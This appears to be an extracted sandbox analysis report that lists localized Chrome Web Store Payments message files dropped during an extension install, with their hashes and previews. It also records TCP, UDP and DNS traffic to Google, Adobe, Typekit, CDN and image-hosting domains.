C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\hi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\hr\messages.json
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Category: dropped

Size (bytes): 618

Entropy (8bit): 4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1: 5BD933B874441CEACB9201CCC941FF67BAED6DC0

SHA-256: A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D03
96E

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "craw
_app_unavailable": {..      "message": "Aplikacija trenuta.no nije dostupna."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se s mre.om."..   },..   
"iap_unavailable": {..      "message": "Pla.anje u aplikaciji trenuta.no nije dostupno."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comple
ted."..   },..   "please_sign_in": {..      "message": "Prijavite se na Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 683

Entropy (8bit): 4.675370843321512

Encrypted: false

SSDEEP: 12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd

MD5: 85609CF8623582A8376C206556ED2131

SHA1: 1E16EB70DB5E59BB684866FF3E3925C2DEF25A12

SHA-256: 32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6

SHA-512: 27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Internetes .ruh.z Fizet.si rendszere"..   },..   "app_name": {..      "message": "Chrome Internetes .ruh.z Fizet.si r
endszere"..   },..   "craw_app_unavailable": {..      "message": "Az alkalmaz.s jelenleg nem .rhet. el."..   },..   "craw_connect_to_network": {..      "message": "K.rj.k, csatlako
zzon egy h.l.zathoz."..   },..   "iap_unavailable": {..      "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el."..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Jelentkezzen be a Chrome-ba."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 604

Entropy (8bit): 4.465685261172395

Encrypted: false

SSDEEP: 12:1HEJs25bGGs25b+WYpU34ORBHAeSJ+dgkmO8ZpU34s22C/SzFAs03OyZnLAOfTYR:1HEBaA6WYpaHFH8ZptOYOGAOf2D

MD5: EAB2B946D1232AB98137E760954003AA

SHA1: 60BDC2937905B311D2C9844DF2D639D7AC9F7F67

SHA-256: C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3

SHA-512: 970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA
12

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pembayaran Chrome Webstore"..   },..   "app_name": {..      "message": "Pembayaran Chrome Webstore"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplikasi tidak tersedia saat ini."..   },..   "craw_connect_to_network": {..      "message": "Sambungkan ke jaringan."..   },..   
"iap_unavailable": {..      "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be co
mpleted."..   },..   "please_sign_in": {..      "message": "Harap masuk ke Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 603

Entropy (8bit): 4.479418964635223

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\hu\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\id\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\it\messages.json
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Encrypted: false

SSDEEP: 12:1HEJsqd/bGGsqd/b+WYpU34OcX4+dgUvIO8ZpU34vq703OyZnLAOfTYsD:1HEXd/aKd/6WYpZrv58ZpskOGAOfzD

MD5: A328EEF5E841E0C72D3CD7366899C5C8

SHA1: 2851ED658385804E87911643F5A4200B1FB26E13

SHA-256: CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D

SHA-512: E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamenti Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamenti Chrome Web Store"..   },..   "craw_app_una
vailable": {..      "message": "App al momento non disponibile."..   },..   "craw_connect_to_network": {..      "message": "Collegati a una rete."..   },..   "iap_unavailable": {..      
"message": "La funzione Pagamenti In-App non . al momento disponibile."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Accedi a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 697

Entropy (8bit): 5.20469020877498

Encrypted: false

SSDEEP: 12:1HEJ07uGG07u+WYpU34DB+dgnsVztO8ZpU34MwiB03OyZnLAOfTYmSH:1HEcnDNWYp1kxU8Zp2wiqOGAOfpSH

MD5: 9B3A5D473C3F2BBFAEECE94A07A940B8

SHA1: 61BACA342CF766BBA15C7B4D892A0E7DAC9405AA

SHA-256: 706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F

SHA-512: 94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4
C6

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ........"..   },..   "app_name": {..      "message": "Chrome ........"..   },..   "craw_app_unavailable": {..      "message": "..........
......."..   },..   "craw_connect_to_network": {..      "message": "................"..   },..   "iap_unavailable": {..      "message": "......................."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome ............"..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 5.160315577642469

Encrypted: false

SSDEEP: 12:1HEJ1GG1+WYpU34K3aT+dgh8d0HTO8ZpU34KaNkaT03OyZnLAOfTY/YeHx:1HEajWYpc3aSl0Hq8Zpc6kasOGAOfyYA

MD5: 9F6B4D82A70C74CA751E2EAE70FAB5CF

SHA1: 0534F125FFCE8222277CF2BE3401C59DAF9217F8

SHA-256: D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68

SHA-512: ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome . ... .."..   },..   "app_name": {..      "message": "Chrome . ... .."..   },..   "craw_app_unavailable": {..      "message": ".. .. ... . 
....."..   },..   "craw_connect_to_network": {..      "message": "..... ......"..   },..   "iap_unavailable": {..      "message": ".. .. ... ... . ....."..   },..   "jwt_retrieve_failed": {..      "
message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome. ......."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 665

Entropy (8bit): 4.66839186029557

Encrypted: false

SSDEEP: 12:1HEJpqHnkGGpqHnk+WYpU346M+dgV6O8ZpU34WzSWz03OyZnLAOfTYx:1HELqHtKqHPWYpM3A8ZpwGzOGAOfg

MD5: 4CA644F875606986A9898D04BDAE3EA5

SHA1: 722A10569E93975129D67FBDB75B537D9D622AD1

SHA-256: 7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\ja\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\ko\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\lt\messages.json
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SHA-512: E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D344
4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema"..   },..   "app_name": {..      "message": ".Chrome. internetin.s parduotuv.s 
mok.jimo sistema"..   },..   "craw_app_unavailable": {..      "message": "Programa .iuo metu negalima."..   },..   "craw_connect_to_network": {..      "message": "Prisijunkite 
prie tinklo."..   },..   "iap_unavailable": {..      "message": "Mok.jimai programoje .iuo metu negalimi."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could 
not be completed."..   },..   "please_sign_in": {..      "message": "Prisijunkite prie .Chrome.."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 671

Entropy (8bit): 4.631774066483956

Encrypted: false

SSDEEP: 12:1HEJFhVbGGFhVb+WYpU34wDoz+dgGedBO8ZpU34wF03OyZnLAOfTYGYID:1HENQKkWYp2Doy/em8Zp2WOGAOfRYID

MD5: C5CE2C51391EAFD3DA9E4C71549A3C28

SHA1: 1F67FF6EF6E90C0CE3AAF56ED543A3EFD381574D

SHA-256: 1FA1DF2CA8516DEF490FB8484E9AA498ACFF80EEF5C9258FFE42D3678E6C7DED

SHA-512: C85F6281E682F52BC2147DEA7E2F3BB4DC48D98BADA8687B05C6C7271C78EA7F5431CD51671A4184C9AE004FC53C016E3C594697F483195CCBA08A93821EEF7
0

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome interneta veikala maks.jumu sist.ma"..   },..   "app_name": {..      "message": "Chrome interneta veikala maks.jumu s
ist.ma"..   },..   "craw_app_unavailable": {..      "message": "Lietotne pagaid.m nav pieejama."..   },..   "craw_connect_to_network": {..      "message": "L.dzu, izveidojiet 
savienojumu ar t.klu."..   },..   "iap_unavailable": {..      "message": "Maks.jumi lietotn.s pa.laik nav pieejami."..   },..   "jwt_retrieve_failed": {..      "message": "The transacti
on could not be completed."..   },..   "please_sign_in": {..      "message": "L.dzu, pierakstieties p.rl.k. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 501

Entropy (8bit): 4.804937629013952

Encrypted: false

SSDEEP: 12:YGGYpB928UZjdyE9iDCiop8682fURHWO/NrnLAOK:YHYpXK/iOiop8NFHWOFvAOK

MD5: 8F0168B9A546D5A99FD8A262C975C80E

SHA1: B0718071BD0B7251D4459E9C87DF50C14622FBD6

SHA-256: F03FA7384DF79EBA6E0274D570996030F595A3BF6B781929DD9DB6593262E41F

SHA-512: A1191CDC496DDD7470BDCFAF186BB9488767159E0CA6A6242D195FA3351704DC8F8BBD03DBEE57D37BBD897C9E8D14B7325FB37D58AC80DEC0F972FF893758
B8

Malicious: false

Reputation: low

Preview: {"craw_app_unavailable":{"message":"Appen er utilgjengelig for \u00f8yeblikket."},"craw_connect_to_network":{"message":"Du m\u00e5 koble til et nettverk."},"app
_name":{"message":"Chrome Nettmarked-betalinger"},"app_description":{"message":"Chrome Nettmarked-betalinger"},"iap_unavailable":{"message":"Betaling i app er i
kke tilgjengelig for \u00f8yeblikket."},"please_sign_in":{"message":"Du m\u00e5 logge p\u00e5 Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be 
completed."}}.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 615

Entropy (8bit): 4.4715318546237315

Encrypted: false

SSDEEP: 12:1HEJJQGkbGGJQGkb+WYpU34OQKJT+dgiXUmvFZO8ZpU34g7JT03OyZnLAOfTYMD:1HErxkaqxk6WYptndXI8ZpTOGAOfbD

MD5: 7A8F9D0249C680F64DEC7650A432BD57

SHA1: 53477198AEE389F6580921B4876719B400A23CA1

SHA-256: 92BE7C2DC9CFBE5A65E9CE6488D364C8D7EC19E7B67A31E4D43C1CB2B169671C

SHA-512: 969AB979546A741C0F3EDBEEB21BABA375FA8870D4FB9248CDD4C305736E332E10CAB7B64C5C078E60EC0CD73848101B390BE8F44B89C310058AF4C1CA3C8A
A7

Malicious: false

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\lv\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\nb\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\nl\messages.json
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Reputation: low

Preview: {..   "app_description": {..      "message": "Betalingen via Chrome Web Store"..   },..   "app_name": {..      "message": "Betalingen via Chrome Web Store"..   },..   "cr
aw_app_unavailable": {..      "message": "App momenteel niet beschikbaar."..   },..   "craw_connect_to_network": {..      "message": "Maak verbinding met een netwerk."..   
},..   "iap_unavailable": {..      "message": "In-app-betalingen is momenteel niet beschikbaar."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Log in bij Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 636

Entropy (8bit): 4.646901997539488

Encrypted: false

SSDEEP: 12:1HEJbiVbGGbiVb+WYpU34OBHlBi9+dgQUg6O8ZpU34bdbfiIu03OyZnLAOfTYR5k:1HE5iVauiV6WYpIAYr8ZpxFiaOGAOfIC

MD5: 0E6194126AFCCD1E3098D276A7400175

SHA1: E8127B905A640B1C46362FA6E1127BE172F4A40F

SHA-256: E2699F98C511B18A2AFB82EAE9A4804B646C4FF1077D80E77C17A3943A6373C2

SHA-512: A71F7C7BFBBF1E37E699601AF2E095C56CBA91F90CB7556477DF31D01B83ADFB1271E1775C9BA299FF6875BBFC2B6AB47488CC88E33DEF2F6F2E0E5AC687B7
77

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   "app_name": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   
"craw_app_unavailable": {..      "message": "Aplikacja jest obecnie niedost.pna."..   },..   "craw_connect_to_network": {..      "message": "Po..cz si. z sieci.."..   },..   
"iap_unavailable": {..      "message": "P.atno.ci w ramach aplikacji s. teraz niedost.pne."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be com
pleted."..   },..   "please_sign_in": {..      "message": "Zaloguj si. w Chrome."..   }..}..

⊘ No static file info

Total Packets: 61

• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 08:44:54.841469049 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:54.841506958 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:54.841617107 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:54.842055082 CEST 53110 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:54.842092991 CEST 443 53110 13.32.99.29 192.168.2.3

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\pl\messages.json

Static File Info

Network Behavior

Network Port Distribution

TCP Packets
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May 27, 2022 08:44:54.842245102 CEST 53110 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:54.843488932 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:54.843550920 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:54.843668938 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:54.844014883 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:54.844038963 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:54.844933033 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:54.844974041 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:54.845077038 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:54.845911980 CEST 53110 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:54.845947981 CEST 443 53110 13.32.99.29 192.168.2.3

May 27, 2022 08:44:54.846477985 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:54.846514940 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:54.847407103 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:54.847424984 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:54.897249937 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:54.899914026 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:54.933711052 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:54.933753014 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:54.933892965 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:54.933921099 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:54.934878111 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:54.934968948 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:54.935009003 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:54.935810089 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:54.935877085 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:54.935905933 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:54.937076092 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:54.937160015 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:54.937179089 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:55.033205032 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:55.033217907 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:55.126137018 CEST 443 53110 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.126223087 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.126270056 CEST 53110 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.126310110 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.126313925 CEST 443 53110 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.126333952 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.153326988 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:55.153841972 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:55.153856039 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:55.154158115 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:55.155163050 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:55.155194044 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:55.157464981 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:55.157526970 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:55.188842058 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:55.188990116 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:55.189013004 CEST 443 52166 142.250.186.110 192.168.2.3

May 27, 2022 08:44:55.189083099 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:55.203036070 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:55.203142881 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:55.203167915 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:55.203274012 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:55.203346014 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:55.228329897 CEST 54801 443 192.168.2.3 142.250.186.109

May 27, 2022 08:44:55.228370905 CEST 443 54801 142.250.186.109 192.168.2.3

May 27, 2022 08:44:55.229286909 CEST 52166 443 192.168.2.3 142.250.186.110

May 27, 2022 08:44:55.229326010 CEST 443 52166 142.250.186.110 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP
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May 27, 2022 08:44:55.233232021 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.233257055 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.269983053 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.270023108 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.270276070 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.270287037 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.271228075 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.271238089 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.290110111 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.290925026 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.309720039 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.315257072 CEST 53110 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.315294027 CEST 443 53110 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.342149019 CEST 53110 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.342184067 CEST 443 53110 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.362118959 CEST 443 53110 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.417695045 CEST 53110 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.433259010 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.506337881 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.506373882 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.506617069 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.506834984 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.506932020 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.506956100 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.507019043 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.507776976 CEST 443 59163 13.32.99.29 192.168.2.3

May 27, 2022 08:44:55.633244991 CEST 59163 443 192.168.2.3 13.32.99.29

May 27, 2022 08:44:55.685188055 CEST 58949 443 192.168.2.3 108.138.17.129

May 27, 2022 08:44:55.685249090 CEST 443 58949 108.138.17.129 192.168.2.3

May 27, 2022 08:44:55.685364008 CEST 58949 443 192.168.2.3 108.138.17.129

May 27, 2022 08:44:55.690356970 CEST 60733 443 192.168.2.3 108.138.17.129

May 27, 2022 08:44:55.690409899 CEST 443 60733 108.138.17.129 192.168.2.3

May 27, 2022 08:44:55.690525055 CEST 60733 443 192.168.2.3 108.138.17.129

May 27, 2022 08:44:55.690661907 CEST 65120 443 192.168.2.3 108.138.17.129

May 27, 2022 08:44:55.690702915 CEST 443 65120 108.138.17.129 192.168.2.3

May 27, 2022 08:44:55.690779924 CEST 65120 443 192.168.2.3 108.138.17.129

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 08:44:54.455024004 CEST 63035 53 192.168.2.3 1.1.1.1

May 27, 2022 08:44:54.455982924 CEST 53851 53 192.168.2.3 1.1.1.1

May 27, 2022 08:44:54.472587109 CEST 53 63035 1.1.1.1 192.168.2.3

May 27, 2022 08:44:54.473639011 CEST 53 53851 1.1.1.1 192.168.2.3

May 27, 2022 08:44:55.632661104 CEST 51538 53 192.168.2.3 1.1.1.1

May 27, 2022 08:44:55.674926043 CEST 53 51538 1.1.1.1 192.168.2.3

May 27, 2022 08:44:56.161478996 CEST 59069 53 192.168.2.3 1.1.1.1

May 27, 2022 08:44:57.325438023 CEST 65229 53 192.168.2.3 1.1.1.1

May 27, 2022 08:44:58.904587030 CEST 58705 53 192.168.2.3 1.1.1.1

May 27, 2022 08:44:58.947067022 CEST 53 58705 1.1.1.1 192.168.2.3

May 27, 2022 08:46:21.925179005 CEST 59742 53 192.168.2.3 1.1.1.1

May 27, 2022 08:46:21.948141098 CEST 53 59742 1.1.1.1 192.168.2.3

May 27, 2022 08:46:22.805628061 CEST 62258 53 192.168.2.3 1.1.1.1

May 27, 2022 08:46:22.823498011 CEST 53 62258 1.1.1.1 192.168.2.3

May 27, 2022 08:46:23.199187994 CEST 51170 53 192.168.2.3 1.1.1.1

May 27, 2022 08:46:23.200025082 CEST 50603 53 192.168.2.3 1.1.1.1

May 27, 2022 08:46:23.216727972 CEST 53 51170 1.1.1.1 192.168.2.3

May 27, 2022 08:46:23.218897104 CEST 53 50603 1.1.1.1 192.168.2.3

May 27, 2022 08:46:25.437995911 CEST 58628 53 192.168.2.3 1.1.1.1

UDP Packets
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May 27, 2022 08:46:25.455657959 CEST 53 58628 1.1.1.1 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 27, 2022 08:44:54.455024004 CEST 192.168.2.3 1.1.1.1 0x836c Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

May 27, 2022 08:44:54.455982924 CEST 192.168.2.3 1.1.1.1 0x68f Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

May 27, 2022 08:44:55.632661104 CEST 192.168.2.3 1.1.1.1 0xf9fe Standard query 
(0)

page.adobe
spark-asse
ts.com

A (IP address) IN (0x0001)

May 27, 2022 08:44:56.161478996 CEST 192.168.2.3 1.1.1.1 0x7d21 Standard query 
(0)

use.typekit.net A (IP address) IN (0x0001)

May 27, 2022 08:44:57.325438023 CEST 192.168.2.3 1.1.1.1 0x9562 Standard query 
(0)

p.typekit.net A (IP address) IN (0x0001)

May 27, 2022 08:44:58.904587030 CEST 192.168.2.3 1.1.1.1 0xe9b7 Standard query 
(0)

page.adobe
spark-asse
ts.com

A (IP address) IN (0x0001)

May 27, 2022 08:46:21.925179005 CEST 192.168.2.3 1.1.1.1 0x99b7 Standard query 
(0)

storageapi
.fleek.co

A (IP address) IN (0x0001)

May 27, 2022 08:46:22.805628061 CEST 192.168.2.3 1.1.1.1 0x2cf1 Standard query 
(0)

unpkg.com A (IP address) IN (0x0001)

May 27, 2022 08:46:23.199187994 CEST 192.168.2.3 1.1.1.1 0x2c93 Standard query 
(0)

cdnjs.clou
dflare.com

A (IP address) IN (0x0001)

May 27, 2022 08:46:23.200025082 CEST 192.168.2.3 1.1.1.1 0x5578 Standard query 
(0)

i.gyazo.com A (IP address) IN (0x0001)

May 27, 2022 08:46:25.437995911 CEST 192.168.2.3 1.1.1.1 0x4315 Standard query 
(0)

i.gyazo.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 27, 2022 
08:44:54.472587109 CEST

1.1.1.1 192.168.2.3 0x836c No error (0) clients2.g
oogle.com

clients.l.google.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 27, 2022 
08:44:54.472587109 CEST

1.1.1.1 192.168.2.3 0x836c No error (0) clients.l.
google.com

142.250.186.110 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:54.473639011 CEST

1.1.1.1 192.168.2.3 0x68f No error (0) accounts.g
oogle.com

142.250.186.109 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:54.502749920 CEST

1.1.1.1 192.168.2.3 0x62a5 No error (0) express-pr
od.adobepr
ojectm.com

13.32.99.29 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:54.502749920 CEST

1.1.1.1 192.168.2.3 0x62a5 No error (0) express-pr
od.adobepr
ojectm.com

13.32.99.14 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:54.502749920 CEST

1.1.1.1 192.168.2.3 0x62a5 No error (0) express-pr
od.adobepr
ojectm.com

13.32.99.117 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:54.502749920 CEST

